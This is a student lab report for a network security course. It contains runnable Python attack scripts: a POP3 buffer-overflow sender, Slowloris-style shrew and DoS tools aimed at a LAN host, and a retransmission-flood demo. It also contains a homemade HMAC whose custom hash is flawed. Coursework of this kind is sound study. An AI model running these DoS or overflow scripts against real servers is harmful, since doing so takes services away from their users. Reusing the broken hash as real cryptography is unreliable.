Satyarth Pandey - 106119112

Rajneesh Pandey - 106119100

Satyamurti Doddini - 106119032

Deekshika Tomar - 106119026

|  |
| --- |
| Connected wire-frame lines and dots |
| CSPE75 Network Security |
|  |

**Problem 1**

Implement TCP attacks on your computer.

1. **Buffer Overflow**

Attackers exploit buffer overflow issues by overwriting the memory of an application. This changes the execution path of the program, triggering a response that damages files or exposes private information. For example, an attacker may introduce extra code, sending new instructions to the application to gain access to IT systems.

buffer\_overflow\_attack.py

#!/usr/bin/env python

from \_\_future\_\_ import print\_function

import socket

def str2b(data):

    """Unescape P2/P3 and convert to bytes if Python3."""

    # Python2: Unescape control chars

    try:

        return data.decode('string\_escape')

    except AttributeError:

        pass

    except UnicodeDecodeError:

        pass

    # Python3: Unescape control chars and convert to byte

    try:

        return data.encode("utf-8").decode('unicode-escape').encode("latin1")

    except UnicodeDecodeError:

        pass

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

len\_total    = 2700                # Start at len\_overflow and try out how much can be overwritten

len\_overflow = 2696                # Use pattern\_create.rb and pattern\_offset.rb to find exact offset

len\_nop\_sled = 0                   # Add x bytes of nops before shellcode for shellcode decoding

eip          = "\x42\x42\x42\x42"  # Change this (Keep in mind to put address in reverse order)

shellcode    = ""

padding = "C"\*(len\_total - len\_overflow - len(str(eip)) - len\_nop\_sled - len(shellcode))

buffer  = "A"\*len\_overflow + eip + "\x90"\*len\_nop\_sled + shellcode + padding

print('Trying to send %s bytes buffer...' % (str(len(buffer))))

try:

    s.connect(('mail.example.tld', 110))

    s.recv(1024)

    s.send(str2b('USER test\r\n'))

    s.recv(1024)

    s.send(str2b('PASS ' + buffer + '\r\n'))

    s.recv(1024)

    s.send(str2b('QUIT\r\n'))

    print('done')

except:

    print('Could not connect, Buffer Overflow Detected...')

s.close()

output

Text

Description automatically generated

1. **Shrew Attack**

The shrew attack is a low-rate DoS attack that was created to avoid some of the. weaknesses of the brute-force DDoS methods. The shrew attack works by taking advantage of. TCP's retransmission timeout (RTO) transmission, when the client sends requests to the server.

shrew\_attack.py

import socket, random, time, sys

class Slowloris\_Shrew():

    def \_\_init\_\_(self, ip, port=80, socketsCount = 200):

        self.\_ip = ip

        self.\_port = port

        self.\_headers = [

            "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)",

            "Accept-Language: en-us,en;q=0.5"

        ]

        self.\_sockets = [self.newSocket() for \_ in range(socketsCount)]

    def getMessage(self, message):

        return (message + "{} HTTP/1.1\r\n".format(str(random.randint(0, 2000)))).encode("utf-8")

    def newSocket(self):

        try:

            s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

            s.settimeout(4)

            s.connect((self.\_ip, self.\_port))

            s.send(self.getMessage("Get /?"))

            for header in self.\_headers:

                s.send(bytes(bytes("{}\r\n".format(header).encode("utf-8"))))

            return s

        except socket.error as se:

            print("Error: "+str(se))

            time.sleep(0.5)

            return self.newSocket()

    def attack(self, timeout=sys.maxsize, sleep=15):

        t, i = time.time(), 0

        while(time.time() - t < timeout):

            for s in self.\_sockets:

                try:

                    print("Sending request #{}".format(str(i)))

                    s.send(self.getMessage("X-a: "))

                    i += 1

                except socket.error:

                    self.\_sockets.remove(s)

                    self.\_sockets.append(self.newSocket())

                time.sleep(sleep/len(self.\_sockets))

if \_\_name\_\_ == "\_\_main\_\_":

    addr = "192.168.1.38"

    burst\_period = 10

    burst\_duration = 20

    total\_time = 120

    dos = Slowloris\_Shrew(addr, 80, socketsCount=200)

    while True:

        # burst period

        #start\_burst\_time = time()

        print("Attacking in burst now", end='\r')

        dos.attack(timeout=burst\_duration)

        start\_silent\_time = time.time()

        while True:

            sleep\_now = time.time()

            sleep\_delta = sleep\_now - start\_silent\_time

            print("Sleeping now")

            if sleep\_delta >= burst\_period:

                break

output

**Text

Description automatically generated**

Post attack:

**A picture containing graphical user interface

Description automatically generated**

1. **DOS Attack**

A denial-of-service (DoS) attack is a security threat that occurs when an attacker makes it impossible for legitimate users to access computer systems, network, services or other information technology (IT) resources. Attackers in these types of attacks typically flood web servers, systems or networks with traffic that overwhelms the victim's resources and makes it difficult or impossible for anyone else to access them.

Before Attack (server running)

Graphical user interface

Description automatically generated

dos\_attack.py

import socket, random, time, sys

class DeadlyBooring():

    def \_\_init\_\_(self, ip, port=80, socketsCount = 200):

        self.\_ip = ip

        self.\_port = port

        self.\_headers = [

            "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)",

            "Accept-Language: en-us,en;q=0.5"

        ]

        self.\_sockets = [self.newSocket() for \_ in range(socketsCount)]

    def getMessage(self, message):

        return (message + "{} HTTP/1.1\r\n".format(str(random.randint(0, 2000)))).encode("utf-8")

    def newSocket(self):

        try:

            s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

            s.settimeout(4)

            s.connect((self.\_ip, self.\_port))

            s.send(self.getMessage("Get /?"))

            for header in self.\_headers:

                s.send(bytes(bytes("{}\r\n".format(header).encode("utf-8"))))

            return s

        except socket.error as se:

            print("Error: "+str(se))

            time.sleep(0.5)

            return self.newSocket()

    def attack(self, timeout=sys.maxsize, sleep=15):

        t, i = time.time(), 0

        while(time.time() - t < timeout):

            for s in self.\_sockets:

                try:

                    print("Sending request #{}".format(str(i)))

                    s.send(self.getMessage("X-a: "))

                    i += 1

                except socket.error:

                    self.\_sockets.remove(s)

                    self.\_sockets.append(self.newSocket())

                time.sleep(sleep/len(self.\_sockets))

if \_\_name\_\_ == "\_\_main\_\_":

    dos = DeadlyBooring("192.168.1.38", 80, socketsCount=200)

    dos.attack(timeout=60\*10)

output

Text

Description automatically generated

Post attack (loading...)

Graphical user interface

Description automatically generated

1. **Illegal Packets**

Python WebSockets are used to replicate this form of attack. Here, we have a server and client which communicate within each other. Server expects the data in a certain format and asks for retransmission in case the format is wrong. An adversary sends the data out of format deliberately to make the server continuously request for retransmission leading to denial of service to other legitimate clients

illegal\_adversary.py

import socket

from struct import pack

def message\_to\_packet(msg):

   total\_length = 88

   arrangement = [8,8,4,8,16,4]

   sep = "00000001"

   start\_bits = "10000101"

   src\_add = "10100101"

   dest\_add = "10001001"

   add\_info = "1010"

   padding = "0000"

   packet\_informations = [start\_bits ,src\_add ,add\_info, dest\_add, msg  ,padding]

   packet =  sep.join(packet\_informations)

   # print(len(packet))

   return packet

if \_\_name\_\_ == "\_\_main\_\_":

   clientSocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM);

   try:

       clientSocket.connect(("127.0.0.1",9093))

   except socket.error as exc :

       print("Caught exception socket.error :", exc)

   p\_data = "100110010110110";

   packet = message\_to\_packet(p\_data)

   print("Message Sent...")

   clientSocket.send(packet .encode());

   # # Receive data from server

   dataFromServer = clientSocket.recv(1024);

   data = dataFromServer.decode()

   while data == "send again":

       print("Requested again. Sending illegal packets..")

       packet = message\_to\_packet(p\_data)

       print("Packet Sent...")

       clientSocket.send(packet .encode());

       print("Request for retransmission recieved!")

       dataFromServer = clientSocket.recv(1024);

       data = dataFromServer.decode()

illegal\_server.py

import socket

def verify\_packet\_format(msg):

   bits\_arrangement = [8,8,4,8,16,4]

   total\_length = 88

   start\_bits = "10000101"

   if len(msg) != 88:

       print("Failed here 1")

       return False

   list\_msg = msg.split("00000001")

   print(list\_msg)

   i = 0

   if list\_msg[0] != start\_bits:

       print("Failed here 2")

       return False

   for m in list\_msg:

       if len(m) == bits\_arrangement[i]:

           print("passed", i)

       else:

           print("Failed here 3")

           return False

       i = i+1

   return True

if \_\_name\_\_ == "\_\_main\_\_":

   serverSocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM);

   # Bind and listen

   serverSocket.bind(("127.0.0.1",9093));

   serverSocket.listen();

   while(True):

       (clientConnected, clientAddress) = serverSocket.accept();

       print("Accepted a connection request from %s:%s"%(clientAddress[0], clientAddress[1]));

       dataFromClient = clientConnected.recv(1024)

       print("Message recieved")

       message = dataFromClient.decode()

       print(message)

       while not verify\_packet\_format(message):

           print("Illegal Packet. Requesting for retransmission...")

           return\_message = "send again"

           clientConnected.send(return\_message.encode());

           dataFromClient = clientConnected.recv(1024)

           print("Retransmitted message recieved..")

           print("Verifying..")

           message = dataFromClient.decode()

illegal\_client.py

import socket

from struct import pack

def message\_to\_packet(msg):

   total\_length = 88

   arrangement = [8,8,4,8,16,4]

   sep = "00000001"

   start\_bits = "10000101"

   src\_add = "10100101"

   dest\_add = "10001001"

   add\_info = "1010"

   padding = "0000"

   packet\_informations = [start\_bits ,src\_add ,add\_info, dest\_add, msg  ,padding]

   packet =  sep.join(packet\_informations)

   # print(len(packet))

   return packet

if \_\_name\_\_ == "\_\_main\_\_":

   clientSocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM);

   try:

       clientSocket.connect(("127.0.0.1",9093))

   except socket.error as exc :

       print("Caught exception socket.error :", exc)

   clientSocket.settimeout(5)

   data = "1001100101101101";

   packet = message\_to\_packet(data)

   print("Message Sent...")

   clientSocket.send(packet .encode());

   # # Receive data from server

   try:

       dataFromServer = clientSocket.recv(1024);

   except TimeoutError as T:

       print("Service Denied from server..")

       print(T)

       exit()

   print("Message recieved...")

   data = dataFromServer.decode()

   print(data)

output

Text

Description automatically generated

Problem 2

Implement HMAC and verify message integrity, confidentiality, and repudiation.

Implement a custom hash function for the HMAC.

**HMAC**

**Explanation:**

In the following code, we have implemented the HMAC algorithm in python using our custom Hash functions based on modifications made to MD-1 algorithm. This has enabled us to guarantee the integrity and non-collision of the hash outputs. We have also verified the integrity through a client-server socket transaction and used an adversary to prove lack of confidentiality.

hmac\_main.py

import hmac

import hashlib

import base64

import hashlib

import socket

#Define function that appends the message into a byte-array of length = to padded variable

def pad\_append(padded):

    byte\_arr = bytearray(padded for i in range(padded))

    return byte\_arr

#initialize the buffer to 0

def init\_buffer(buffer\_X):

    byte\_arr = bytearray(0 for i in range(buffer\_X))

    return byte\_arr

# xor function

def xor(x, y):

    x = str(x).encode()

    y = str(y).encode()

    return (bytes(x[i] ^ y[i] for i in range(min(len(x), len(y)))))

def custom\_hash(inputs):

    S = [131,84,181,0,190,125,105,143,161,31,241,84,203,137,161,53,5,191,187,110,206,170,146,3,138,2,203,50,2,174,97,61,171,47,150,17,201,181,117,16,61,171,230,137,2,134,8,212,145,193,41,43,92,19,226,16,6,112,235,204,38,94,89,50,23,95,24,129,138,137,228,29,131,45,59,155,201,192,40,34,114,61,114,6,76,104,121,53,32,115,234,10,150,232,42,78,222,98,254,75,248,11,63,120,114,139,56,238,198,187,200,19,4,131,176,93,1,46,60,13,47,185,29,37,143,204,241,87,83,225,146,177,176,148,33,112,24,41,71,62,230,238,44,148,132,197,40,189,58,65,66,199,239,45,227,135,240,6,115,208,41,85,204,180,240,85,83,182,48,214,199,39,152,115,83,89,136,96,63,67,243,49,119,31,200,190,79,64,220,127,189,227,45,34,136,127,77,26,169,24,122,105,162,46,104,47,33,145,159,185,117,52,189,95,214,39,194,94,35,77,192,78,205,87,127,204,123,184,136,3,43,67,72,239,102,233,252,25,173,97,137,210,36,12,3,100,63,217,234,107,151,40,124,238,73,7]

    #Convert input(string) into a bytearray in utf-8 formatting

    M = bytearray(str(inputs), 'utf-8')

    x = 16

    padded = x - (len(M) % 16)

    #we add padding to the message to ensure that we have full blocks

    M = M + pad\_append(padded)

    L = 0

    buffer\_X = 48

    buffer = init\_buffer(buffer\_X)

    # ### PROCESS MESSAGE IN 16-BYTE BLOCKS and process each 16-byte block for the buffer of 48

    for i in range(len(M) // x):

        for j in range(x):

            buffer[2 \* x + j] = buffer[x + j] ^ buffer[j]

            buffer[x + j] = M[i \* x + j]

        #initialize t = 0

        t = 0

        #perform 5 rounds of iteration

        rounds = 5

        for j in range(rounds):

            for k in range(buffer\_X):

                buffer[k] = buffer[k] ^ S[t]

                t = buffer[k]

            t = (t + j) % len(S)

    #the function outputs a 32-byte output thus we are using zfill(2) as the hex() function defaults by not providing the leading 0

    for i in buffer[0:16]:

        output = ''.join(map(lambda x: hex(x).zfill(2).lstrip("0x"), buffer[0:16]))

    tempo = hashlib.sha1(output.encode())

    tempo.update(output.encode())

    return tempo

def hmac(key\_K, data):

    if len(key\_K) > 64:

        raise ValueError('The key must be <= 64 bytes in length')

    padded\_K = key\_K + b'\x00' \* (64 - len(key\_K))

    ipad = b'\x36' \* 64

    opad = b'\x5c' \* 64

    h\_inner = custom\_hash(xor(padded\_K, ipad))

    h\_inner.update(data)

    h\_outer = custom\_hash(xor(padded\_K, opad))

    h\_outer.update(h\_inner.digest())

    buffer = h\_outer.digest()

    for i in buffer[0:16]:

        output = ''.join(map(lambda x: hex(x).zfill(2).lstrip("0x"), buffer[0:16]))

    return output

def integrity\_test():

    # test 1

    message1 = b"/pi/embedded\_dashboard?data=%7B%22dashboard%22%3A7863%2C%22embed%22%3A%22v2%22%2C%22filters%22%3A%5B%7B%22name%22%3A%22Filter1%22%2C%22value%22%3A%22value1%22%7D%2C%7B%22name%22%3A%22Filter2%22%2C%22value%22%3A%221234%22%7D%5D%7D"

    message2 = b"data=%7B%22dashboard%22%3A7863%2C%22embed%22%3A%22v2%22%2C%22filters%22%3A%5B%7B%22name%22%3A%22Filter1%22%2C%22value%22%3A%22value1%22%7D%2C%7B%22name%22%3A%22Filter2%22%2C%22value%22%3A%221234%22%7D%5D%7D"

    key = b"e279"

    result1 = hmac(key, message1)

    result2 = hmac(key, message2)

    print("Message 1 : ",  message1, end="\n\n")

    print("HMAC Digest : ")

    print(result1, end="\n\n")

    print("Message 2 : ",  message2, end="\n\n")

    print("HMAC Digest : ")

    print(result2, end="\n\n")

    if result1 == result2:

        print("Integrity test failed!!!!")

    else:

        print("Integrity test passed!")

    # add tests as desired

hmac\_client.py

import socket

from hmac\_main import \*

if \_\_name\_\_ == “\_\_main\_\_”:

    clientSocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM);

    clientSocket.connect((“127.0.0.1”,9090));

    data = “Hello Server!”;

    print(“Message Sent…”)

    clientSocket.send(data.encode());

    # Receive data from server

    dataFromServer = clientSocket.recv(1024);

    print(“Digest + Message recieved…”)

    print(“Verifying…”)

    data = dataFromServer.decode().split(“%%”)

    message = bytes(data[0], ‘utf-8’)

    digest = bytes(data[1], ‘utf-8’)

    key = b”e279”

    # print(digest)

    if hmac(key, message) == data[1]:

        print(“Digest matches message”)

    else:

        print(“Digest does NOT match message”)

    print(“Integrity preserved”)

hmac\_server.py

import socket

from hmac\_main import \*

if \_\_name\_\_ == "\_\_main\_\_":

    # print("Conducting Integrity Tests..")

    # integrity\_test()

    serverSocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM);

    # Bind and listen

    serverSocket.bind(("127.0.0.1",9090));

    serverSocket.listen();

    while(True):

        (clientConnected, clientAddress) = serverSocket.accept();

        print("Accepted a connection request from %s:%s"%(clientAddress[0], clientAddress[1]));

        dataFromClient = clientConnected.recv(1024)

        print("Message recieved")

        message = dataFromClient.decode()

        key = b"e279"

        data = bytes(message, 'utf-8')

        # print(message, hmac(key, data)  )

        temp = input("Change the message sent back to check integrity? (Y/N)")

        if temp == 'y' or temp == 'Y':

            message = message[1:]

            print("Removing only first characted and sending back..")

        return\_message = message +"%%"+hmac(key, data)

        print("Digest + Message Sent...")

        # Send some data back to the client

        clientConnected.send(return\_message.encode());

hmac\_adversary.py

import socket

from hmac\_main import \*

if \_\_name\_\_ == "\_\_main\_\_":

    clientSocket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM);

    clientSocket.connect(("127.0.0.1",9090));

    data = "Hello Server!";

    print("Message Sent...")

    clientSocket.send(data.encode());

    dataFromServer = clientSocket.recv(1024);

    print("Digest + Message Recieved...")

    data = dataFromServer.decode().split("%%")

    message = bytes(data[0], 'utf-8')

    digest = bytes(data[1], 'utf-8')

    print("Message : ", data[0])

    print("Confidentiality breached!")

Output:

Sending the same message back:

Text

Description automatically generated

Sending different message back:

